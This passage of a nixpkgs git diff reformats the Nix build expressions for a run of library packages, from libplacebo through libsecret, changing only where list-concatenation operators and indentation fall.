diff --git a/pkgs/by-name/li/libplacebo/package.nix b/pkgs/by-name/li/libplacebo/package.nix
index d50c722327ac..c41e6f4ef273 100644
--- a/pkgs/by-name/li/libplacebo/package.nix
+++ b/pkgs/by-name/li/libplacebo/package.nix
@@ -39,35 +39,33 @@ stdenv.mkDerivation rec {
     python3Packages.glad2
   ];
 
-  buildInputs =
-    [
-      shaderc
-      lcms2
-      libGL
-      libX11
-      libunwind
-      libdovi
-      xxHash
-      vulkan-headers
-    ]
-    ++ lib.optionals vulkanSupport [
-      vulkan-loader
-    ]
-    ++ lib.optionals (!stdenv.cc.isGNU) [
-      fast-float
-    ];
+  buildInputs = [
+    shaderc
+    lcms2
+    libGL
+    libX11
+    libunwind
+    libdovi
+    xxHash
+    vulkan-headers
+  ]
+  ++ lib.optionals vulkanSupport [
+    vulkan-loader
+  ]
+  ++ lib.optionals (!stdenv.cc.isGNU) [
+    fast-float
+  ];
 
-  mesonFlags =
-    [
-      (lib.mesonBool "demos" false) # Don't build and install the demo programs
-      (lib.mesonEnable "d3d11" false) # Disable the Direct3D 11 based renderer
-      (lib.mesonEnable "glslang" false) # rely on shaderc for GLSL compilation instead
-      (lib.mesonEnable "vk-proc-addr" vulkanSupport)
-      (lib.mesonOption "vulkan-registry" "${vulkan-headers}/share/vulkan/registry/vk.xml")
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.mesonEnable "unwind" false) # libplacebo doesn’t build with `darwin.libunwind`
-    ];
+  mesonFlags = [
+    (lib.mesonBool "demos" false) # Don't build and install the demo programs
+    (lib.mesonEnable "d3d11" false) # Disable the Direct3D 11 based renderer
+    (lib.mesonEnable "glslang" false) # rely on shaderc for GLSL compilation instead
+    (lib.mesonEnable "vk-proc-addr" vulkanSupport)
+    (lib.mesonOption "vulkan-registry" "${vulkan-headers}/share/vulkan/registry/vk.xml")
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.mesonEnable "unwind" false) # libplacebo doesn’t build with `darwin.libunwind`
+  ];
 
   postPatch = ''
     substituteInPlace meson.build \
diff --git a/pkgs/by-name/li/libplacebo_5/package.nix b/pkgs/by-name/li/libplacebo_5/package.nix
index e8a2bf3f66b0..a807de192d2e 100644
--- a/pkgs/by-name/li/libplacebo_5/package.nix
+++ b/pkgs/by-name/li/libplacebo_5/package.nix
@@ -47,16 +47,15 @@ stdenv.mkDerivation rec {
     libdovi
   ];
 
-  mesonFlags =
-    [
-      (lib.mesonOption "vulkan-registry" "${vulkan-headers}/share/vulkan/registry/vk.xml")
-      (lib.mesonBool "demos" false) # Don't build and install the demo programs
-      (lib.mesonEnable "d3d11" false) # Disable the Direct3D 11 based renderer
-      (lib.mesonEnable "glslang" false) # rely on shaderc for GLSL compilation instead
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      (lib.mesonEnable "unwind" false) # libplacebo doesn’t build with `darwin.libunwind`
-    ];
+  mesonFlags = [
+    (lib.mesonOption "vulkan-registry" "${vulkan-headers}/share/vulkan/registry/vk.xml")
+    (lib.mesonBool "demos" false) # Don't build and install the demo programs
+    (lib.mesonEnable "d3d11" false) # Disable the Direct3D 11 based renderer
+    (lib.mesonEnable "glslang" false) # rely on shaderc for GLSL compilation instead
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    (lib.mesonEnable "unwind" false) # libplacebo doesn’t build with `darwin.libunwind`
+  ];
 
   postPatch = ''
     substituteInPlace meson.build \
diff --git a/pkgs/by-name/li/libplist/package.nix b/pkgs/by-name/li/libplist/package.nix
index ad66cd6baebe..1642ca66fa36 100644
--- a/pkgs/by-name/li/libplist/package.nix
+++ b/pkgs/by-name/li/libplist/package.nix
@@ -17,7 +17,8 @@ stdenv.mkDerivation rec {
     "bin"
     "dev"
     "out"
-  ] ++ lib.optional enablePython "py";
+  ]
+  ++ lib.optional enablePython "py";
 
   src = fetchFromGitHub {
     owner = "libimobiledevice";
@@ -40,13 +41,12 @@ stdenv.mkDerivation rec {
     export RELEASE_VERSION=${version}
   '';
 
-  configureFlags =
-    [
-      "--enable-debug"
-    ]
-    ++ lib.optionals (!enablePython) [
-      "--without-cython"
-    ];
+  configureFlags = [
+    "--enable-debug"
+  ]
+  ++ lib.optionals (!enablePython) [
+    "--without-cython"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/li/libportal/package.nix b/pkgs/by-name/li/libportal/package.nix
index d796d55cf600..86f9068dc88d 100644
--- a/pkgs/by-name/li/libportal/package.nix
+++ b/pkgs/by-name/li/libportal/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional (variant != "qt5") "devdoc";
+  ]
+  ++ lib.optional (variant != "qt5") "devdoc";
 
   src = fetchFromGitHub {
     owner = "flatpak";
@@ -39,35 +40,33 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gi-docgen
-    ]
-    ++ lib.optionals (variant != "qt5") [
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gi-docgen
+  ]
+  ++ lib.optionals (variant != "qt5") [
+    gobject-introspection
+    vala
+  ];
 
-  propagatedBuildInputs =
-    [
-      glib
-    ]
-    ++ lib.optionals (variant == "gtk3") [
-      gtk3
-    ]
-    ++ lib.optionals (variant == "gtk4") [
-      gtk4
-    ]
-    ++ lib.optionals (variant == "qt5") [
-      libsForQt5.qtbase
-      libsForQt5.qtx11extras
-    ]
-    ++ lib.optionals (variant == "qt6") [
-      qt6Packages.qtbase
-    ];
+  propagatedBuildInputs = [
+    glib
+  ]
+  ++ lib.optionals (variant == "gtk3") [
+    gtk3
+  ]
+  ++ lib.optionals (variant == "gtk4") [
+    gtk4
+  ]
+  ++ lib.optionals (variant == "qt5") [
+    libsForQt5.qtbase
+    libsForQt5.qtx11extras
+  ]
+  ++ lib.optionals (variant == "qt6") [
+    qt6Packages.qtbase
+  ];
 
   mesonFlags = [
     (lib.mesonEnable "backend-gtk3" (variant == "gtk3"))
diff --git a/pkgs/by-name/li/libpostal/package.nix b/pkgs/by-name/li/libpostal/package.nix
index 112054168dc1..517960dff51e 100644
--- a/pkgs/by-name/li/libpostal/package.nix
+++ b/pkgs/by-name/li/libpostal/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--disable-data-download"
-  ] ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "--disable-sse2" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isAarch64 [ "--disable-sse2" ];
 
   env = {
     NIX_CFLAGS_COMPILE = "-Wno-incompatible-pointer-types";
diff --git a/pkgs/by-name/li/libproxy/package.nix b/pkgs/by-name/li/libproxy/package.nix
index 191a7d484d69..8118ea54d198 100644
--- a/pkgs/by-name/li/libproxy/package.nix
+++ b/pkgs/by-name/li/libproxy/package.nix
@@ -26,14 +26,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "libproxy";
   version = "0.5.9";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withIntrospection [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withIntrospection [
+    "devdoc"
+  ];
 
   src = fetchFromGitHub {
     owner = "libproxy";
@@ -42,20 +41,19 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-Z70TjLk5zulyYMAK+uMDhpsdvLa6m25pY8jahUA6ASE=";
   };
 
-  patches =
-    [
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      # Disable schema presence detection, it would fail because it cannot be autopatched,
-      # and it will be hardcoded by the next patch anyway.
-      ./skip-gsettings-detection.patch
+  patches = [
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    # Disable schema presence detection, it would fail because it cannot be autopatched,
+    # and it will be hardcoded by the next patch anyway.
+    ./skip-gsettings-detection.patch
 
-      # Hardcode path to Settings schemas for GNOME & related desktops.
-      # Otherwise every app using libproxy would need to be wrapped individually.
-      (replaceVars ./hardcode-gsettings.patch {
-        gds = glib.getSchemaPath gsettings-desktop-schemas;
-      })
-    ];
+    # Hardcode path to Settings schemas for GNOME & related desktops.
+    # Otherwise every app using libproxy would need to be wrapped individually.
+    (replaceVars ./hardcode-gsettings.patch {
+      gds = glib.getSchemaPath gsettings-desktop-schemas;
+    })
+  ];
 
   postPatch = ''
     # Fix running script that will try to install git hooks.
@@ -70,38 +68,35 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail "requires_private: 'gobject-2.0'" "requires: 'gobject-2.0'"
   '';
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-      vala
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+    vala
+  ];
 
-  buildInputs =
-    [
-      curl
-      duktape
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      glib
-      gsettings-desktop-schemas
-    ];
+  buildInputs = [
+    curl
+    duktape
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    glib
+    gsettings-desktop-schemas
+  ];
 
-  mesonFlags =
-    [
-      # Prevent installing commit hook.
-      "-Drelease=true"
-      (lib.mesonBool "docs" withIntrospection)
-      (lib.mesonBool "introspection" withIntrospection)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-Dconfig-gnome=false"
-    ];
+  mesonFlags = [
+    # Prevent installing commit hook.
+    "-Drelease=true"
+    (lib.mesonBool "docs" withIntrospection)
+    (lib.mesonBool "introspection" withIntrospection)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-Dconfig-gnome=false"
+  ];
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/by-name/li/libqalculate/package.nix b/pkgs/by-name/li/libqalculate/package.nix
index 1df23ea66396..b7180f790f2e 100644
--- a/pkgs/by-name/li/libqalculate/package.nix
+++ b/pkgs/by-name/li/libqalculate/package.nix
@@ -61,16 +61,15 @@ stdenv.mkDerivation (finalAttrs: {
     intltoolize -f
   '';
 
-  patchPhase =
-    ''
-      substituteInPlace libqalculate/Calculator-plot.cc \
-        --replace 'commandline = "gnuplot"' 'commandline = "${gnuplot}/bin/gnuplot"' \
-        --replace '"gnuplot - ' '"${gnuplot}/bin/gnuplot - '
-    ''
-    + lib.optionalString stdenv.cc.isClang ''
-      substituteInPlace src/qalc.cc \
-        --replace 'printf(_("aborted"))' 'printf("%s", _("aborted"))'
-    '';
+  patchPhase = ''
+    substituteInPlace libqalculate/Calculator-plot.cc \
+      --replace 'commandline = "gnuplot"' 'commandline = "${gnuplot}/bin/gnuplot"' \
+      --replace '"gnuplot - ' '"${gnuplot}/bin/gnuplot - '
+  ''
+  + lib.optionalString stdenv.cc.isClang ''
+    substituteInPlace src/qalc.cc \
+      --replace 'printf(_("aborted"))' 'printf("%s", _("aborted"))'
+  '';
 
   preBuild = ''
     pushd docs/reference
diff --git a/pkgs/by-name/li/libqmi/package.nix b/pkgs/by-name/li/libqmi/package.nix
index 9f1f8986ff4a..b8e1ed4e006b 100644
--- a/pkgs/by-name/li/libqmi/package.nix
+++ b/pkgs/by-name/li/libqmi/package.nix
@@ -31,7 +31,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchFromGitLab {
     domain = "gitlab.freedesktop.org";
@@ -41,42 +42,39 @@ stdenv.mkDerivation rec {
     hash = "sha256-cGNnw0vO/Hr9o/eIf6lLTsoGiEkTvZiArgO7tAc208U=";
   };
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      python3
-    ]
-    ++ lib.optionals withMan [
-      help2man
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-    ]
-    ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    python3
+  ]
+  ++ lib.optionals withMan [
+    help2man
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+  ]
+  ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      bash-completion
-      libmbim
-    ]
-    ++ lib.optionals withIntrospection [
-      libgudev
-    ];
+  buildInputs = [
+    bash-completion
+    libmbim
+  ]
+  ++ lib.optionals withIntrospection [
+    libgudev
+  ];
 
-  propagatedBuildInputs =
-    [
-      glib
-    ]
-    ++ lib.optionals withIntrospection [
-      libqrtr-glib
-    ];
+  propagatedBuildInputs = [
+    glib
+  ]
+  ++ lib.optionals withIntrospection [
+    libqrtr-glib
+  ];
 
   mesonFlags = [
     "-Dudevdir=${placeholder "out"}/lib/udev"
diff --git a/pkgs/by-name/li/libqrtr-glib/package.nix b/pkgs/by-name/li/libqrtr-glib/package.nix
index 1d0eec5c17dc..887ffbac429e 100644
--- a/pkgs/by-name/li/libqrtr-glib/package.nix
+++ b/pkgs/by-name/li/libqrtr-glib/package.nix
@@ -37,19 +37,18 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gobject-introspection
-      gtk-doc
-      docbook-xsl-nons
-      docbook_xml_dtd_43
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gobject-introspection
+    gtk-doc
+    docbook-xsl-nons
+    docbook_xml_dtd_43
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
   buildInputs = [
     glib
diff --git a/pkgs/by-name/li/librandombytes/package.nix b/pkgs/by-name/li/librandombytes/package.nix
index e6ecbdef8eea..51cb3adca61d 100644
--- a/pkgs/by-name/li/librandombytes/package.nix
+++ b/pkgs/by-name/li/librandombytes/package.nix
@@ -85,6 +85,7 @@ stdenv.mkDerivation (finalAttrs: {
       "riscv64-linux"
       "s390x-linux"
       # Upstream package supports sparc, but nix does not
-    ] ++ lib.platforms.darwin; # Work on MacOS X mentioned: https://randombytes.cr.yp.to/download.html
+    ]
+    ++ lib.platforms.darwin; # Work on MacOS X mentioned: https://randombytes.cr.yp.to/download.html
   };
 })
diff --git a/pkgs/by-name/li/librashader/package.nix b/pkgs/by-name/li/librashader/package.nix
index 325f42adabdb..2391bc0074ba 100644
--- a/pkgs/by-name/li/librashader/package.nix
+++ b/pkgs/by-name/li/librashader/package.nix
@@ -33,30 +33,29 @@ rustPlatform.buildRustPackage {
 
   doCheck = false;
 
-  installPhase =
-    ''
-      runHook preInstall
-      cd target/optimized
-      mkdir -p $out/lib $out/include/librashader
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''
-          install_name_tool -id $out/lib/librashader.dylib librashader.dylib
-          install -m755 librashader.dylib $out/lib/librashader.dylib
-        ''
-      else
-        ''
-          patchelf --set-soname librashader.so.2 librashader.so
-          install -m755 librashader.so $out/lib/librashader.so.2
-          ln -s $out/lib/librashader.so.2 $out/lib/librashader.so
-        ''
-    )
-    + ''
-      install -m644 librashader.h -t $out/include/librashader
-      install -m644 ../../include/librashader_ld.h -t $out/include/librashader
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    cd target/optimized
+    mkdir -p $out/lib $out/include/librashader
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''
+        install_name_tool -id $out/lib/librashader.dylib librashader.dylib
+        install -m755 librashader.dylib $out/lib/librashader.dylib
+      ''
+    else
+      ''
+        patchelf --set-soname librashader.so.2 librashader.so
+        install -m755 librashader.so $out/lib/librashader.so.2
+        ln -s $out/lib/librashader.so.2 $out/lib/librashader.so
+      ''
+  )
+  + ''
+    install -m644 librashader.h -t $out/include/librashader
+    install -m644 ../../include/librashader_ld.h -t $out/include/librashader
+    runHook postInstall
+  '';
 
   meta = {
     description = "RetroArch Shaders for All";
diff --git a/pkgs/by-name/li/libre/package.nix b/pkgs/by-name/li/libre/package.nix
index 97749fc5ea0b..1058fe8b16d1 100644
--- a/pkgs/by-name/li/libre/package.nix
+++ b/pkgs/by-name/li/libre/package.nix
@@ -23,14 +23,13 @@ stdenv.mkDerivation rec {
   ];
 
   nativeBuildInputs = [ cmake ];
-  makeFlags =
-    [
-      "USE_ZLIB=1"
-      "USE_OPENSSL=1"
-      "PREFIX=$(out)"
-    ]
-    ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${stdenv.cc.cc}"
-    ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${lib.getDev stdenv.cc.libc}";
+  makeFlags = [
+    "USE_ZLIB=1"
+    "USE_OPENSSL=1"
+    "PREFIX=$(out)"
+  ]
+  ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${stdenv.cc.cc}"
+  ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${lib.getDev stdenv.cc.libc}";
   enableParallelBuilding = true;
   meta = {
     description = "Library for real-time communications with async IO support and a complete SIP stack";
diff --git a/pkgs/by-name/li/libredirect/package.nix b/pkgs/by-name/li/libredirect/package.nix
index d700a9afca70..fe76b3d1f2c8 100644
--- a/pkgs/by-name/li/libredirect/package.nix
+++ b/pkgs/by-name/li/libredirect/package.nix
@@ -87,38 +87,37 @@ else
     # existing ones do not have the intended effect.
     dontStrip = true;
 
-    installPhase =
-      ''
-        runHook preInstall
+    installPhase = ''
+      runHook preInstall
 
-        install -vD "$libName" "$out/lib/$libName"
+      install -vD "$libName" "$out/lib/$libName"
 
-      ''
-      + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
-        # dylib will be rejected unless dylib rpath gets explicitly set
-        install_name_tool \
-          -change $libName $out/lib/$libName \
-          $out/lib/$libName
-      ''
-      + ''
-        # Provide a setup hook that injects our library into every process.
-        mkdir -p "$hook/nix-support"
-        cat <<SETUP_HOOK > "$hook/nix-support/setup-hook"
-        echo "Setting up libredirect"
-        ${
-          if stdenv.hostPlatform.isDarwin then
-            ''
-              export DYLD_INSERT_LIBRARIES="$out/lib/$libName"
-            ''
-          else
-            ''
-              export LD_PRELOAD="$out/lib/$libName"
-            ''
-        }
-        SETUP_HOOK
+    ''
+    + lib.optionalString (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) ''
+      # dylib will be rejected unless dylib rpath gets explicitly set
+      install_name_tool \
+        -change $libName $out/lib/$libName \
+        $out/lib/$libName
+    ''
+    + ''
+      # Provide a setup hook that injects our library into every process.
+      mkdir -p "$hook/nix-support"
+      cat <<SETUP_HOOK > "$hook/nix-support/setup-hook"
+      echo "Setting up libredirect"
+      ${
+        if stdenv.hostPlatform.isDarwin then
+          ''
+            export DYLD_INSERT_LIBRARIES="$out/lib/$libName"
+          ''
+        else
+          ''
+            export LD_PRELOAD="$out/lib/$libName"
+          ''
+      }
+      SETUP_HOOK
 
-        runHook postInstall
-      '';
+      runHook postInstall
+    '';
 
     doInstallCheck = true;
 
diff --git a/pkgs/by-name/li/libredwg/package.nix b/pkgs/by-name/li/libredwg/package.nix
index ce2cd032d0c7..a9853d3a5faa 100644
--- a/pkgs/by-name/li/libredwg/package.nix
+++ b/pkgs/by-name/li/libredwg/package.nix
@@ -48,13 +48,15 @@ stdenv.mkDerivation rec {
     autoreconfHook
     pkg-config
     texinfo
-  ] ++ lib.optional enablePython swig;
+  ]
+  ++ lib.optional enablePython swig;
 
-  buildInputs =
-    [ pcre2 ]
-    ++ lib.optionals enablePython [ python ]
-    # configurePhase fails with python 3 when ncurses is missing
-    ++ lib.optional isPython3 ncurses;
+  buildInputs = [
+    pcre2
+  ]
+  ++ lib.optionals enablePython [ python ]
+  # configurePhase fails with python 3 when ncurses is missing
+  ++ lib.optional isPython3 ncurses;
 
   # prevent python tests from running when not building with python
   configureFlags = lib.optional (!enablePython) "--disable-python";
diff --git a/pkgs/by-name/li/librem/package.nix b/pkgs/by-name/li/librem/package.nix
index 8d75bb111661..a39f5301cd05 100644
--- a/pkgs/by-name/li/librem/package.nix
+++ b/pkgs/by-name/li/librem/package.nix
@@ -26,14 +26,13 @@ stdenv.mkDerivation rec {
   cmakeFlags = [
     "-DRE_INCLUDE_DIR=${libre}/include/re"
   ];
-  makeFlags =
-    [
-      "LIBRE_MK=${libre}/share/re/re.mk"
-      "PREFIX=$(out)"
-      "AR=${stdenv.cc.targetPrefix}ar"
-    ]
-    ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${lib.getDev stdenv.cc.cc}"
-    ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${lib.getDev stdenv.cc.libc}";
+  makeFlags = [
+    "LIBRE_MK=${libre}/share/re/re.mk"
+    "PREFIX=$(out)"
+    "AR=${stdenv.cc.targetPrefix}ar"
+  ]
+  ++ lib.optional (stdenv.cc.cc != null) "SYSROOT_ALT=${lib.getDev stdenv.cc.cc}"
+  ++ lib.optional (stdenv.cc.libc != null) "SYSROOT=${lib.getDev stdenv.cc.libc}";
   enableParallelBuilding = true;
   meta = {
     description = "Library for real-time audio and video processing";
diff --git a/pkgs/by-name/li/libresample/package.nix b/pkgs/by-name/li/libresample/package.nix
index 2b8f3b2cd5a3..aa2b60d84175 100644
--- a/pkgs/by-name/li/libresample/package.nix
+++ b/pkgs/by-name/li/libresample/package.nix
@@ -38,15 +38,14 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      # For `resample-sndfile`
-      libsndfile
-    ]
-    ++ lib.optionals (!libsamplerate.meta.broken) [
-      # For `compareresample`
-      libsamplerate
-    ];
+  buildInputs = [
+    # For `resample-sndfile`
+    libsndfile
+  ]
+  ++ lib.optionals (!libsamplerate.meta.broken) [
+    # For `compareresample`
+    libsamplerate
+  ];
 
   mesonFlags = [ (lib.mesonEnable "compareresample" (!libsamplerate.meta.broken)) ];
 
diff --git a/pkgs/by-name/li/libreswan/package.nix b/pkgs/by-name/li/libreswan/package.nix
index 88830a897690..a139d979fe15 100644
--- a/pkgs/by-name/li/libreswan/package.nix
+++ b/pkgs/by-name/li/libreswan/package.nix
@@ -88,7 +88,8 @@ stdenv.mkDerivation rec {
     # needed to patch shebangs
     python3
     bash
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libselinux;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libselinux;
 
   prePatch = ''
     # Replace wget with curl to save a dependency
diff --git a/pkgs/by-name/li/librime/package.nix b/pkgs/by-name/li/librime/package.nix
index e219a6c5c10c..a400da838249 100644
--- a/pkgs/by-name/li/librime/package.nix
+++ b/pkgs/by-name/li/librime/package.nix
@@ -53,7 +53,8 @@ stdenv.mkDerivation rec {
     yaml-cpp
     gtest
     capnproto
-  ] ++ plugins; # for propagated build inputs
+  ]
+  ++ plugins; # for propagated build inputs
 
   preConfigure = copyPlugins;
 
diff --git a/pkgs/by-name/li/librsvg/package.nix b/pkgs/by-name/li/librsvg/package.nix
index 9e156eaccbe6..3fd49e8885d4 100644
--- a/pkgs/by-name/li/librsvg/package.nix
+++ b/pkgs/by-name/li/librsvg/package.nix
@@ -51,14 +51,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "librsvg";
   version = "2.60.0";
 
-  outputs =
-    [
-      "out"
-      "dev"
-    ]
-    ++ lib.optionals withIntrospection [
-      "devdoc"
-    ];
+  outputs = [
+    "out"
+    "dev"
+  ]
+  ++ lib.optionals withIntrospection [
+    "devdoc"
+  ];
 
   src = fetchurl {
     url = "mirror://gnome/sources/librsvg/${lib.versions.majorMinor finalAttrs.version}/librsvg-${finalAttrs.version}.tar.xz";
@@ -78,38 +77,36 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      installShellFiles
-      pkg-config
-      meson
-      ninja
-      rustc
-      cargo-c
-      cargo-auditable-cargo-wrapper
-      python3Packages.docutils
-      rustPlatform.cargoSetupHook
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gi-docgen
-      vala # vala bindings require GObject introspection
-    ]
-    ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    installShellFiles
+    pkg-config
+    meson
+    ninja
+    rustc
+    cargo-c
+    cargo-auditable-cargo-wrapper
+    python3Packages.docutils
+    rustPlatform.cargoSetupHook
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gi-docgen
+    vala # vala bindings require GObject introspection
+  ]
+  ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      libxml2
-      bzip2
-      dav1d
-      pango
-      freetype
-    ]
-    ++ lib.optionals withIntrospection [
-      vala # for share/vala/Makefile.vapigen
-    ];
+  buildInputs = [
+    libxml2
+    bzip2
+    dav1d
+    pango
+    freetype
+  ]
+  ++ lib.optionals withIntrospection [
+    vala # for share/vala/Makefile.vapigen
+  ];
 
   propagatedBuildInputs = [
     glib
diff --git a/pkgs/by-name/li/librum/package.nix b/pkgs/by-name/li/librum/package.nix
index 821c9da8396a..004188253cba 100644
--- a/pkgs/by-name/li/librum/package.nix
+++ b/pkgs/by-name/li/librum/package.nix
@@ -31,24 +31,22 @@ stdenv.mkDerivation rec {
     })
   ];
 
-  nativeBuildInputs =
-    [
-      cmake
-      qt6.qttools
-      qt6.wrapQtAppsHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    cmake
+    qt6.qttools
+    qt6.wrapQtAppsHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
-  buildInputs =
-    [
-      qt6.qtbase
-      qt6.qtsvg
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    qt6.qtbase
+    qt6.qtsvg
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6.qtwayland
+  ];
 
   meta = with lib; {
     description = "Application designed to make reading enjoyable and straightforward";
diff --git a/pkgs/by-name/li/libsbml/package.nix b/pkgs/by-name/li/libsbml/package.nix
index 9fbb674f5d62..08fe4d1e7b90 100644
--- a/pkgs/by-name/li/libsbml/package.nix
+++ b/pkgs/by-name/li/libsbml/package.nix
@@ -25,12 +25,14 @@ stdenv.mkDerivation (attrs: {
     cmake
     pkg-config
     swig
-  ] ++ lib.optional withPython python.pkgs.pythonImportsCheckHook;
+  ]
+  ++ lib.optional withPython python.pkgs.pythonImportsCheckHook;
 
   buildInputs = [
     bzip2.dev
     libxml2
-  ] ++ lib.optional withPython python;
+  ]
+  ++ lib.optional withPython python;
 
   # libSBML doesn't always make use of pkg-config
   cmakeFlags = [
@@ -38,7 +40,8 @@ stdenv.mkDerivation (attrs: {
     "-DLIBXML_LIBRARY=${lib.getLib libxml2}/lib/libxml2${stdenv.hostPlatform.extensions.sharedLibrary}"
     "-DPKG_CONFIG_EXECUTABLE=${lib.getBin pkg-config}/bin/pkg-config"
     "-DSWIG_EXECUTABLE=${lib.getBin swig}/bin/swig"
-  ] ++ lib.optional withPython "-DWITH_PYTHON=ON";
+  ]
+  ++ lib.optional withPython "-DWITH_PYTHON=ON";
 
   postInstall = lib.optional withPython ''
     mv $out/${python.sitePackages}/libsbml/libsbml.py $out/${python.sitePackages}/libsbml/__init__.py
diff --git a/pkgs/by-name/li/libsecret/package.nix b/pkgs/by-name/li/libsecret/package.nix
index 8ab83e3b6888..92cdc3e13c45 100644
--- a/pkgs/by-name/li/libsecret/package.nix
+++ b/pkgs/by-name/li/libsecret/package.nix
@@ -76,7 +76,8 @@ stdenv.mkDerivation rec {
   outputs = [
     "out"
     "dev"
-  ] ++ lib.optional withIntrospection "devdoc";
+  ]
+  ++ lib.optional withIntrospection "devdoc";
 
   src = fetchurl {
     url = "mirror://gnome/sources/libsecret/${lib.versions.majorMinor version}/libsecret-${version}.tar.xz";
@@ -87,30 +88,28 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      meson
-      ninja
-      pkg-config
-      gettext
-      libxslt # for xsltproc for building man pages
-      docbook-xsl-nons
-      docbook_xml_dtd_42
-      libintl
-      vala
-      glib
-    ]
-    ++ lib.optionals withIntrospection [
-      gi-docgen
-      gobject-introspection
-    ];
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+    gettext
+    libxslt # for xsltproc for building man pages
+    docbook-xsl-nons
+    docbook_xml_dtd_42
+    libintl
+    vala
+    glib
+  ]
+  ++ lib.optionals withIntrospection [
+    gi-docgen
+    gobject-introspection
+  ];
 
-  buildInputs =
-    [
-      libgcrypt
-    ]
-    ++ lib.optionals withTpm2Tss [ tpm2-tss ]
